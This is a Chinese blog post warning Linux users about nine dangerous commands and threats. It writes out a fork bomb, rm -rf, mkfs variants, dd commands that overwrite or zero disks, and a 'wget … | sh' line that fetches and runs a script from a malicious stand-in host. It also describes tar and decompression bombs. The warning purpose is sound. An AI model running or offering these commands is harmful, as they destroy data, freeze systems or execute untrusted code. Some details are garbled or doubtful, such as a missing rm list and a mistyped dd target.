个人总结的9个必须时刻警惕的Linux命令&代码
发布:smiling 来源: PHP粉丝网 添加日期:2015-04-28 14:01:40 浏览: 评论:0
在一些情况下,强大的Linux shell/terminal命令甚至不会询问你而直接执行命令,可能导致文件夹、文件或者路径文件夹等被删除,这里我收集了一些对系统有危害的Linux代码,帮助你避免他们,请记住,这些代码非常危险,甚至可以经过修改,变得更加有危害性.
1.Linux Fork Bomb Command
:(){ :|: & };:以Fork Bomb闻名,是一个拒绝服务攻击 的Linux 系统,:(){ :|: & };: 是一个bash函数,只要被执行,他会不断重复,直到系统被冻结.
你只能重启系统解决这个问题,所以当你在Linux界面执行这个命令时一定要注意.
2.Mv Folder/Dev/Null Command
mv folder/dev/null 也是一个危险的命令,Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功,这就是我们常说的bit bucked 或者 black hole.
3.Rm -Rf Command
rm -rf命令在Linux系统中可以快速删除文件夹及其内容,如果,你不知道如何正确使用它,你就只有哭了.
列下m-rf 命令最常见的组合和选择:
4.Mkfs Command
如果你不知mkfs的作用,那么它也是一个危险的命令,mkfs之后写的任何命令都将会被一个空白的linux文件系统格式化、替代.
下面列举出需要管理员权限,格式化硬盘的命令:
- mkfs
- mkfs.ext3
- mkfs.bfs
- mkfs.ext2
- mkfs.minix
- mkfs.msdos mkfs.reiserfs
- mkfs.vfat
mkfs.cramfs也可以和上面的代码做同样的事情,不过不需要管理源权限.
5.Tar Bomb
tar命令用于将多个文件以.tar格式放入一个文件中(存档文件),Tape Archive(Tar)bomb可以由他创建,当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录.
当收到tar文件,定期创建一个新的保护目录,然后在解压前将接受的tar文件放到这个目录中,你可以避免成为tar bomb的受害者.
6.Dd Command
Dd命令用于复制&改变硬盘分区,如果,你用错地方了,那么也很危险,下面列举dd命令:
- dd if=/dev/hda of=/dev/hdb
- dd if=/dev/hda of=/dev/sdb
- dd if=something of=/dev/hda
- dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had
7.Shell Script Code
有时候,你可能会被人坑,给你一个shell脚本文件,让你去下载并执行它,该脚本可能会包含一些恶意的或危险的代码,命令形式可能会是这样:wget http://some_malicious_source -O- | sh,wget将会在sh狭隘脚本时下载脚本.
8.Malicious Source Code
也许有人会给你源代码让你编译他,代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了,如何避免?仅接受并编译可信赖来源的源代码.
9.Decompression Bomb
你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到KB,事实上,该小尺寸的压缩文件包含高度压缩数据.
只要文件解压,上百GB数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了,如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件.
一般来说在Web上推荐新的Linux用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了,还有一些事情需要注意,一些命令只在Ubuntu中有sudo前缀时是有危害的,其他发行版本的Linux,则是在作为根目录命令时会有危害.
Tags: linux命令 linux常用命令
相关文章
- ·linux常用命令总结(2015-04-22)
推荐文章
热门文章
最新评论文章
- 写给考虑创业的年轻程序员(10)
- PHP新手上路(一)(7)
- 惹恼程序员的十件事(5)
- PHP邮件发送例子,已测试成功(5)
- 致初学者:PHP比ASP优秀的七个理由(4)
- PHP会被淘汰吗?(4)
- PHP新手上路(四)(4)
- 如何去学习PHP?(2)
- 简单入门级php分页代码(2)
- php中邮箱email 电话等格式的验证(2)